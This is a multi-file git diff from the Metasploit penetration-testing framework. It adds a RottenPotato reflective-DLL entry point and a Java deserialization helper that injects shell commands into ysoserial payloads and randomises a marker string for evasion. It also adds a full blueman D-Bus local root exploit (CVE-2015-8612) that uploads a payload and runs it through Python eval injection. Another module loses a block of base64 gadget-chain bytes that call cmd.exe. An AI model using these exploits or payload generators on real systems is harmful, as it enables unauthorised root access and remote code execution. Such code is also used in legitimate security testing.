WORD wOSCSDVersion;
|
||||
DWORD dwOSPlatformId;
|
||||
DWORD dwImageSubsystem;
|
||||
DWORD dwImageSubsystemMajorVersion;
|
||||
DWORD dwImageSubsystemMinorVersion;
|
||||
DWORD dwImageProcessAffinityMask;
|
||||
DWORD dwGdiHandleBuffer[34];
|
||||
LPVOID lpPostProcessInitRoutine;
|
||||
LPVOID lpTlsExpansionBitmap;
|
||||
DWORD dwTlsExpansionBitmapBits[32];
|
||||
DWORD dwSessionId;
|
||||
ULARGE_INTEGER liAppCompatFlags;
|
||||
ULARGE_INTEGER liAppCompatFlagsUser;
|
||||
LPVOID lppShimData;
|
||||
LPVOID lpAppCompatInfo;
|
||||
UNICODE_STR usCSDVersion;
|
||||
LPVOID lpActivationContextData;
|
||||
LPVOID lpProcessAssemblyStorageMap;
|
||||
LPVOID lpSystemDefaultActivationContextData;
|
||||
LPVOID lpSystemAssemblyStorageMap;
|
||||
DWORD dwMinimumStackCommit;
|
||||
} _PEB, *_PPEB;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
WORD offset : 12;
|
||||
WORD type : 4;
|
||||
} IMAGE_RELOC, *PIMAGE_RELOC;
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
|
@ -0,0 +1,30 @@
|
|||
// dllmain.cpp : Defines the entry point for the DLL application.
|
||||
#include "stdafx.h"
|
||||
#include "ReflectiveLoader.h"
|
||||
#include "MSFRottenPotato.h"
|
||||
|
||||
extern "C" HINSTANCE hAppInstance;
|
||||
EXTERN_C IMAGE_DOS_HEADER __ImageBase;
|
||||
|
||||
BOOL WINAPI APIENTRY DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_QUERY_HMODULE:
|
||||
hAppInstance = hinstDLL;
|
||||
if (lpReserved != NULL)
|
||||
{
|
||||
*(HMODULE *)lpReserved = hAppInstance;
|
||||
}
|
||||
break;
|
||||
case DLL_PROCESS_ATTACH:
|
||||
hAppInstance = hinstDLL;
|
||||
EntryPoint(lpReserved);
|
||||
break;
|
||||
case DLL_THREAD_ATTACH:
|
||||
case DLL_THREAD_DETACH:
|
||||
case DLL_PROCESS_DETACH:
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
Binary file not shown.
|
@ -0,0 +1,8 @@
|
|||
// stdafx.cpp : source file that includes just the standard includes
|
||||
// MSFRottenPotato.pch will be the pre-compiled header
|
||||
// stdafx.obj will contain the pre-compiled type information
|
||||
|
||||
#include "stdafx.h"
|
||||
|
||||
// TODO: reference any additional headers you need in STDAFX.H
|
||||
// and not in this file
|
|
@ -0,0 +1,16 @@
|
|||
// stdafx.h : include file for standard system include files,
|
||||
// or project specific include files that are used frequently, but
|
||||
// are changed infrequently
|
||||
//
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "targetver.h"
|
||||
|
||||
#define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
|
||||
// Windows Header Files:
|
||||
#include <windows.h>
|
||||
|
||||
|
||||
|
||||
// TODO: reference additional headers your program requires here
|
|
@ -0,0 +1,8 @@
|
|||
#pragma once
|
||||
|
||||
// Including SDKDDKVer.h defines the highest available Windows platform.
|
||||
|
||||
// If you wish to build your application for a previous Windows platform, include WinSDKVer.h and
|
||||
// set the _WIN32_WINNT macro to the platform you wish to support before including SDKDDKVer.h.
|
||||
|
||||
#include <SDKDDKVer.h>
|
|
@ -369,12 +369,13 @@ module Metasploit
|
|||
# This method takes all the options provided and streams the generated wordlist out
|
||||
# to a {Rex::Quickfile} and returns the {Rex::Quickfile}.
|
||||
#
|
||||
# @param max_len [Integer] max length of a word in the wordlist, 0 default for ignored value
|
||||
# @return [Rex::Quickfile] The {Rex::Quickfile} object that the wordlist has been written to
|
||||
def to_file
|
||||
def to_file(max_len)
|
||||
valid!
|
||||
wordlist_file = Rex::Quickfile.new("jtrtmp")
|
||||
each_word do |word|
|
||||
wordlist_file.puts word
|
||||
wordlist_file.puts max_len == 0 ? word : word[0...max_len]
|
||||
end
|
||||
wordlist_file
|
||||
end
|
||||
|
|
|
@ -30,7 +30,7 @@ module Metasploit
|
|||
end
|
||||
end
|
||||
|
||||
VERSION = "5.0.1"
|
||||
VERSION = "5.0.2"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
|
|
@ -29,7 +29,7 @@ module Auxiliary::JohnTheRipper
|
|||
OptPath.new('CUSTOM_WORDLIST', [false, 'The path to an optional custom wordlist']),
|
||||
OptInt.new('ITERATION_TIMOUT', [false, 'The max-run-time for each iteration of cracking']),
|
||||
OptPath.new('JOHN_PATH', [false, 'The absolute path to the John the Ripper executable']),
|
||||
OptBool.new('KoreLogic', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
|
||||
OptBool.new('KORELOGIC', [false, 'Apply the KoreLogic rules to Wordlist Mode(slower)', false]),
|
||||
OptBool.new('MUTATE', [false, 'Apply common mutations to the Wordlist (SLOW)', false]),
|
||||
OptPath.new('POT', [false, 'The path to a John POT file to use instead of the default']),
|
||||
OptBool.new('USE_CREDS', [false, 'Use existing credential data saved in the database', true]),
|
||||
|
@ -79,9 +79,10 @@ module Auxiliary::JohnTheRipper
|
|||
# This method instantiates a {Metasploit::Framework::JtR::Wordlist}, writes the data
|
||||
# out to a file and returns the {Rex::Quickfile} object.
|
||||
#
|
||||
# @param max_len [Integer] max length of a word in the wordlist, 0 default for ignored value
|
||||
# @return [nilClass] if there is no active framework db connection
|
||||
# @return [Rex::Quickfile] if it successfully wrote the wordlist to a file
|
||||
def wordlist_file
|
||||
def wordlist_file(max_len = 0)
|
||||
return nil unless framework.db.active
|
||||
wordlist = Metasploit::Framework::JtR::Wordlist.new(
|
||||
custom_wordlist: datastore['CUSTOM_WORDLIST'],
|
||||
|
@ -93,7 +94,7 @@ module Auxiliary::JohnTheRipper
|
|||
use_common_root: datastore['USE_ROOT_WORDS'],
|
||||
workspace: myworkspace
|
||||
)
|
||||
wordlist.to_file
|
||||
wordlist.to_file(max_len)
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -32,7 +32,7 @@ module Msf::Post::File
|
|||
# and 2k
|
||||
return session.shell_command_token("echo %CD%")
|
||||
else
|
||||
return session.shell_command_token("pwd")
|
||||
return session.shell_command_token("pwd").to_s.strip
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
|
@ -28,3 +28,6 @@ require 'msf/util/host'
|
|||
|
||||
# DBManager helpers
|
||||
require 'msf/util/db_manager'
|
||||
|
||||
# Java deserialization payload generators
|
||||
require 'msf/util/java_deserialization'
|
||||
|
|
|
@ -0,0 +1,66 @@
|
|||
module Msf
|
||||
module Util
|
||||
|
||||
require 'json'
|
||||
|
||||
# TODO:
|
||||
# Support ysoserial alongside ysoserial-modified payloads (including cmd, bash, powershell, none)
|
||||
|
||||
class JavaDeserialization
|
||||
|
||||
PAYLOAD_FILENAME = "ysoserial_payloads.json"
|
||||
|
||||
def self.ysoserial_payload(payload_name, command=nil)
|
||||
# Open the JSON file and parse it
|
||||
begin
|
||||
path = File.join(Msf::Config.data_directory, PAYLOAD_FILENAME)
|
||||
json = JSON.parse(File.read(path))
|
||||
rescue Errno::ENOENT, JSON::ParserError
|
||||
raise RuntimeError, "Unable to load JSON data from 'data/#{PAYLOAD_FILENAME}'"
|
||||
end
|
||||
|
||||
raise ArgumentError, "#{payload_name} payload not found in ysoserial payloads" if json[payload_name].nil?
|
||||
|
||||
# Extract the specified payload (status, lengthOffset, bufferOffset, bytes)
|
||||
payload = json[payload_name]
|
||||
|
||||
# Based on the status, we'll raise an exception, return a static payload, or
|
||||
# generate a dynamic payload with modifications at the specified offsets
|
||||
case payload['status']
|
||||
when 'unsupported'
|
||||
# This exception will occur most commonly with complex payloads that require more than a string
|
||||
raise ArgumentError, 'ysoserial payload is unsupported'
|
||||
when 'static'
|
||||
# TODO: Consider removing 'static' functionality, since ysoserial doesn't currently use it
|
||||
return Rex::Text.decode_base64(payload['bytes'])
|
||||
when 'dynamic'
|
||||
raise ArgumentError, 'missing command parameter' if command.nil?
|
||||
|
||||
bytes = Rex::Text.decode_base64(payload['bytes'])
|
||||
|
||||
# Insert buffer
|
||||
buffer_offset = payload['bufferOffset'].first #TODO: Do we ever need to support multiple buffers?
|
||||
bytes[buffer_offset - 1] += command
|
||||
|
||||
# Overwrite length (multiple times, if necessary)
|
||||
length_offsets = payload['lengthOffset']
|
||||
length_offsets.each do |length_offset|
|
||||
# Extract length as a 16-bit unsigned int, then add the length of the command string
|
||||
length = bytes[(length_offset-1)..length_offset].unpack('n').first
|
||||
length += command.length.ord
|
||||
length = [length].pack("n")
|
||||
bytes[(length_offset-1)..length_offset] = length
|
||||
end
|
||||
|
||||
# Replace "ysoserial\/Pwner" timestamp string with randomness for evasion
|
||||
bytes.gsub!(/ysoserial\/Pwner00000000000000/, Rex::Text.rand_text_alphanumeric(29))
|
||||
|
||||
return bytes
|
||||
else
|
||||
raise RuntimeError, 'Malformed JSON file'
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -527,6 +527,8 @@ class Console::CommandDispatcher::Android
|
|||
dest = val
|
||||
when '-t'
|
||||
body = val
|
||||
# Replace \n with a newline character to allow multi-line messages
|
||||
body.gsub!('\n',"\n")
|
||||
when '-r'
|
||||
dr = true
|
||||
end
|
||||
|
|
|
@ -45,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
cracker_instance.format = format
|
||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if datastore['KoreLogic']
|
||||
if datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status "Applying KoreLogic ruleset..."
|
||||
end
|
||||
|
|
|
@ -60,7 +60,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
cracker_instance.format = format
|
||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if datastore['KoreLogic']
|
||||
if datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status "Applying KoreLogic ruleset..."
|
||||
end
|
||||
|
|
|
@ -47,7 +47,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
cracker_instance.format = format
|
||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if datastore['KoreLogic']
|
||||
if datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status "Applying KoreLogic ruleset..."
|
||||
end
|
||||
|
|
|
@ -45,7 +45,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
cracker_instance.format = format
|
||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if datastore['KoreLogic']
|
||||
if datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status "Applying KoreLogic ruleset..."
|
||||
end
|
||||
|
|
|
@ -48,7 +48,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
|
||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if datastore['KoreLogic']
|
||||
if datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status "Applying KoreLogic ruleset..."
|
||||
end
|
||||
|
|
|
@ -51,7 +51,7 @@ class MetasploitModule < Msf::Auxiliary
|
|||
cracker_instance.format = format
|
||||
print_status "Cracking #{format} hashes in normal wordlist mode..."
|
||||
# Turn on KoreLogic rules if the user asked for it
|
||||
if datastore['KoreLogic']
|
||||
if datastore['KORELOGIC']
|
||||
cracker_instance.rules = 'KoreLogicRules'
|
||||
print_status "Applying KoreLogic ruleset..."
|
||||
end
|
||||
|
|
|
@ -19,11 +19,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Fengwei Zhang', # Original discovery
|
||||
'Imran Rashid',
|
||||
'aRe00t', # Proof of concept
|
||||
'Green-m <greenm.xxoo[at]gmail.com>' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['CVE', '2018-11770'], # see https://spark.apache.org/security.html
|
||||
['URL', 'https://www.jianshu.com/p/a080cb323832'],
|
||||
['URL', 'https://github.com/vulhub/vulhub/tree/master/spark/unacc']
|
||||
],
|
||||
|
|
|
@ -0,0 +1,161 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Local
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Linux::Priv
|
||||
include Msf::Post::Linux::System
|
||||
include Msf::Exploit::EXE
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'blueman set_dhcp_handler D-Bus Privilege Escalation',
|
||||
'Description' => %q{
|
||||
This module attempts to gain root privileges by exploiting a Python
|
||||
code injection vulnerability in blueman versions prior to 2.0.3.
|
||||
|
||||
The `org.blueman.Mechanism.EnableNetwork` D-Bus interface exposes the
|
||||
`set_dhcp_handler` function which uses user input in a call to `eval`,
|
||||
without sanitization, resulting in arbitrary code execution as root.
|
||||
|
||||
This module has been tested successfully with blueman version 1.23
|
||||
on Debian 8 Jessie (x64).
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'the grugq', # Discovery and exploit
|
||||
'bcoles' # Metasploit
|
||||
],
|
||||
'DisclosureDate' => '2015-12-18',
|
||||
'References' =>
|
||||
[
|
||||
['BID', '79688'],
|
||||
['CVE', '2015-8612'],
|
||||
['URL', 'https://twitter.com/thegrugq/status/677809527882813440'],
|
||||
['URL', 'https://github.com/blueman-project/blueman/issues/416'],
|
||||
['URL', 'https://www.openwall.com/lists/oss-security/2015/12/18/6'],
|
||||
['URL', 'https://www.debian.org/security/2015/dsa-3427'],
|
||||
['URL', 'https://bugs.mageia.org/show_bug.cgi?id=17361'],
|
||||
['URL', 'http://www.slackware.com/security/viewer.php?l=slackware-security&y=2015&m=slackware-security.421085']
|
||||
],
|
||||
'Platform' => ['linux'],
|
||||
'Arch' =>
|
||||
[
|
||||
ARCH_X86,
|
||||
ARCH_X64,
|
||||
ARCH_ARMLE,
|
||||
ARCH_AARCH64,
|
||||
ARCH_PPC,
|
||||
ARCH_MIPSLE,
|
||||
ARCH_MIPSBE
|
||||
],
|
||||
'SessionTypes' => ['shell', 'meterpreter'],
|
||||
'Targets' => [['Auto', {}]],
|
||||
'DefaultTarget' => 0))
|
||||
register_advanced_options [
|
||||
OptBool.new('ForceExploit', [false, 'Override check result', false]),
|
||||
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
|
||||
]
|
||||
end
|
||||
|
||||
def base_dir
|
||||
datastore['WritableDir'].to_s
|
||||
end
|
||||
|
||||
def upload(path, data)
|
||||
print_status "Writing '#{path}' (#{data.size} bytes) ..."
|
||||
rm_f path
|
||||
write_file path, data
|
||||
register_file_for_cleanup path
|
||||
end
|
||||
|
||||
def upload_and_chmodx(path, data)
|
||||
upload path, data
|
||||
chmod path
|
||||
end
|
||||
|
||||
def dbus_send(dest:, type:, path:, interface:, contents:)
|
||||
cmd_exec "dbus-send --system --print-reply --dest=#{dest} --type=#{type} #{path} #{interface} #{contents}"
|
||||
end
|
||||
|
||||
def check
|
||||
unless command_exists? 'dbus-send'
|
||||
vprint_error 'dbus-send is not installed. Exploitation will fail.'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'dbus-send is installed'
|
||||
|
||||
res = dbus_send(
|
||||
dest: 'org.blueman.Mechanism',
|
||||
type: 'method_call',
|
||||
path: '/',
|
||||
interface: 'org.freedesktop.DBus.Introspectable.Introspect',
|
||||
contents: ''
|
||||
)
|
||||
|
||||
unless res.include? 'EnableNetwork'
|
||||
vprint_error 'org.blueman.Mechanism.EnableNetwork D-Bus interface is not available'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
vprint_good 'org.blueman.Mechanism.EnableNetwork D-Bus interface is available'
|
||||
|
||||
res = execute_python('')
|
||||
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
|
||||
vprint_error 'Target is not vulnerable'
|
||||
return CheckCode::Safe
|
||||
end
|
||||
|
||||
CheckCode::Vulnerable
|
||||
end
|
||||
|
||||
def execute_python(code)
|
||||
dbus_send(
|
||||
dest: 'org.blueman.Mechanism',
|
||||
type: 'method_call',
|
||||
path: '/',
|
||||
interface: 'org.blueman.Mechanism.EnableNetwork',
|
||||
contents: "'string:[]' 'string:[]' 'string:#{code}'"
|
||||
)
|
||||
end
|
||||
|
||||
def exploit
|
||||
unless check == CheckCode::Vulnerable
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
|
||||
end
|
||||
print_warning 'Target does not appear to be vulnerable'
|
||||
end
|
||||
|
||||
if is_root?
|
||||
unless datastore['ForceExploit']
|
||||
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
|
||||
end
|
||||
end
|
||||
|
||||
unless writable? base_dir
|
||||
fail_with Failure::BadConfig, "#{base_dir} is not writable"
|
||||
end
|
||||
|
||||
payload_name = ".#{rand_text_alphanumeric 10..15}"
|
||||
payload_path = "#{base_dir}/#{payload_name}"
|
||||
upload_and_chmodx payload_path, generate_payload_exe
|
||||
|
||||
print_status 'Executing payload...'
|
||||
res = execute_python "os.system(\"#{payload_path}&\")"
|
||||
vprint_line res
|
||||
|
||||
unless res.include? 'eval("nc.set_dhcp_handler(%s)" % dhcp_handler)'
|
||||
fail_with Failure::NotVulnerable, 'The target is not vulnerable'
|
||||
end
|
||||
|
||||
if res.include? 'SyntaxError:'
|
||||
fail_with Failure::Unknown, 'Payload execution failed due to syntax error'
|
||||
end
|
||||
end
|
||||
end
|
|
@ -97,7 +97,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
data = set_payload
|
||||
cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true, encode_final_payload: true})
|
||||
data = ::Msf::Util::JavaDeserialization.ysoserial_payload("JSON1",cmd)
|
||||
|
||||
print_status "Sending serialized Java object (#{data.length} bytes)..."
|
||||
res = send_request_cgi({
|
||||
|
@ -106,49 +107,4 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'data' => data
|
||||
})
|
||||
end
|
||||
|
||||
def set_payload
|
||||
# JSON1 Serialized Stream start, middle and end, base64 encoded (from https://github.com/pimps/ysoserial-modified)
|
||||
# Recreation steps:
|
||||
# wget https://github.com/pimps/ysoserial-modified/raw/master/target/ysoserial-modified.jar
|
||||
# java -jar ysoserial-modified.jar JSON1 cmd "" > jsonss
|
||||
# dd bs=1 if=jsonss of=jsonss_start skip=0 count=2645
|
||||
# dd bs=1 if=jsonss of=jsonss_mid skip=2647 count=1230
|
||||
# dd bs=1 if=jsonss of=jsonss_end skip=3879
|
||||
# for i in `ls jsonss_*`; do
|
||||
# cat $i | base64 -w0 > $i.b64
|
||||
# echo "$i=\"`cat $i.b64 `\""
|
||||
# done
|
||||
# NOTE: The `jsonss_end` contains two randomized strings (eg. "ysoserial/Pwner141434911504672")
|
||||
|
||||
jsonss_start = Rex::Text.decode_base64 "rO0ABXNyABFqYXZhLnV0aWwuSGFzaE1hcAUH2sHDFmDRAwACRgAKbG9hZEZhY3RvckkACXRocmVzaG9sZHhwP0AAAAAAAAB3CAAAAAIAAAACc3IALWphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLlRhYnVsYXJEYXRhU3VwcG9ydE9iDqhrlxdDAgACTAAHZGF0YU1hcHQAD0xqYXZhL3V0aWwvTWFwO0wAC3RhYnVsYXJUeXBldAAoTGphdmF4L21hbmFnZW1lbnQvb3Blbm1iZWFuL1RhYnVsYXJUeXBlO3hwc3IAFm5ldC5zZi5qc29uLkpTT05PYmplY3S4ZY8caCRw+QIAAloACm51bGxPYmplY3RMAApwcm9wZXJ0aWVzcQB+AAN4cABzcQB+AAA/QAAAAAAADHcIAAAAEAAAAAF0AAF0c30AAAACAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhAB1qYXZheC54bWwudHJhbnNmb3JtLlRlbXBsYXRlc3hyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAEFjb20uc3VuLmNvcmJhLnNlLnNwaS5vcmJ1dGlsLnByb3h5LkNvbXBvc2l0ZUludm9jYXRpb25IYW5kbGVySW1wbD9wFnM9MqjPAgACTAAYY2xhc3NUb0ludm9jYXRpb25IYW5kbGVycQB+AANMAA5kZWZhdWx0SGFuZGxlcnEAfgAMeHBzcgAXamF2YS51dGlsLkxpbmtlZEhhc2hNYXA0wE5cEGzA+wIAAVoAC2FjY2Vzc09yZGVyeHEAfgAAP0AAAAAAAAx3CAAAABAAAAABdnIAKGphdmF4Lm1hbmFnZW1lbnQub3Blbm1iZWFuLkNvbXBvc2l0ZURhdGEAAAAAAAAAAAAAAHhwc3IAMnN1bi5yZWZsZWN0LmFubm90YXRpb24uQW5ub3RhdGlvbkludm9jYXRpb25IYW5kbGVyVcr1DxXLfqUCAAJMAAxtZW1iZXJWYWx1ZXNxAH4AA0wABHR5cGV0ABFMamF2YS9sYW5nL0NsYXNzO3hwc3EAfgAAP0AAAAAAAAx3CAAAABAAAAABdAAQZ2V0Q29tcG9zaXRlVHlwZXNyAChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVUeXBltYdG61oHn0ICAAJMABFuYW1lVG9EZXNjcmlwdGlvbnQAE0xqYXZhL3V0aWwvVHJlZU1hcDtMAApuYW1lVG9UeXBlcQB+ABp4cgAjamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uT3BlblR5cGWAZBqR6erePAIAA0wACWNsYXNzTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO0wAC2Rlc2NyaXB0aW9ucQB+ABxMAAh0eXBlTmFtZXEAfgAceHB0AChqYXZheC5tYW5hZ2VtZW50Lm9wZW5tYmVhbi5Db21wb3NpdGVEYXRhdAABYnQAAWFzcgARamF2YS51dGlsLlRyZWVNYXAMwfY+LSVq5gMAAUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHBwdwQAAAABcQB+ACBxAH4AIHhzcQB+ACFwdwQAAAABcQB+ACBzcgAlamF2YXgubWFuYWdlbWVudC5vcGVubWJlYW4uU2ltcGxlVHlwZR6/T/jcZXgnAgAAeHEAfgAbdAARamF2YS5sYW5nLkludGVnZXJxAH4AJ3EAfgAneHh2cgASamF2YS5sYW5nLk92ZXJyaWRlAAAAAAAAAAAAAAB4cHgAc3IANG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5KZGtEeW5hbWljQW9wUHJveHlMxLRxDuuW/AIAA1oADWVxdWFsc0RlZmluZWRaAA9oYXNoQ29kZURlZmluZWRMAAdhZHZpc2VkdAAyTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL2ZyYW1ld29yay9BZHZpc2VkU3VwcG9ydDt4cAAAc3IAMG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5BZHZpc2VkU3VwcG9ydCTLijz6pMV1AgAGWgALcHJlRmlsdGVyZWRbAAxhZHZpc29yQXJyYXl0ACJbTG9yZy9zcHJpbmdmcmFtZXdvcmsvYW9wL0Fkdmlzb3I7TAATYWR2aXNvckNoYWluRmFjdG9yeXQAN0xvcmcvc3ByaW5nZnJhbWV3b3JrL2FvcC9mcmFtZXdvcmsvQWR2aXNvckNoYWluRmFjdG9yeTtMAAhhZHZpc29yc3QAEExqYXZhL3V0aWwvTGlzdDtMAAppbnRlcmZhY2VzcQB+ADBMAAx0YXJnZXRTb3VyY2V0ACZMb3JnL3NwcmluZ2ZyYW1ld29yay9hb3AvVGFyZ2V0U291cmNlO3hyAC1vcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5mcmFtZXdvcmsuUHJveHlDb25maWeLS/Pmp+D3bwIABVoAC2V4cG9zZVByb3h5WgAGZnJvemVuWgAGb3BhcXVlWgAIb3B0aW1pemVaABBwcm94eVRhcmdldENsYXNzeHAAAAAAAAB1cgAiW0xvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC5BZHZpc29yO9+DDa3SHoR0AgAAeHAAAAAAc3IAPG9yZy5zcHJpbmdmcmFtZXdvcmsuYW9wLmZyYW1ld29yay5EZWZhdWx0QWR2aXNvckNoYWluRmFjdG9yeVTdZDfiTnH3AgAAeHBzcgAUamF2YS51dGlsLkxpbmtlZExpc3QMKVNdSmCIIgMAAHhwdwQAAAAAeHNyABNqYXZhLnV0aWwuQXJyYXlMaXN0eIHSHZnHYZ0DAAFJAARzaXpleHAAAAAAdwQAAAAAeHNyADRvcmcuc3ByaW5nZnJhbWV3b3JrLmFvcC50YXJnZXQuU2luZ2xldG9uVGFyZ2V0U291cmNlfVVu9cf4+roCAAFMAAZ0YXJnZXR0ABJMamF2YS9sYW5nL09iamVjdDt4cHNyADpjb20uc3VuLm9yZy5hcGFjaGUueGFsYW4uaW50ZXJuYWwueHNsdGMudHJheC5UZW1wbGF0ZXNJbXBsCVdPwW6sqzMDAAZJAA1faW5kZW50TnVtYmVySQAOX3RyYW5zbGV0SW5kZXhbAApfYnl0ZWNvZGVzdAADW1tCWwAGX2NsYXNzdAASW0xqYXZhL2xhbmcvQ2xhc3M7TAAFX25hbWVxAH4AHEwAEV9vdXRwdXRQcm9wZXJ0aWVzdAAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzO3hwAAAAAP////91cgADW1tCS/0ZFWdn2zcCAAB4cAAAAAJ1cgACW0Ks8xf4BghU4AIAAHhwAAA="
|
||||
jsonss_mid = Rex::Text.decode_base64 "yv66vgAAADMAPwoAAwAiBwA9BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEAEGphdmEvbGFuZy9TdHJpbmcHADABAAdjbWQuZXhlCAAyAQACL2MIADQB"
|
||||
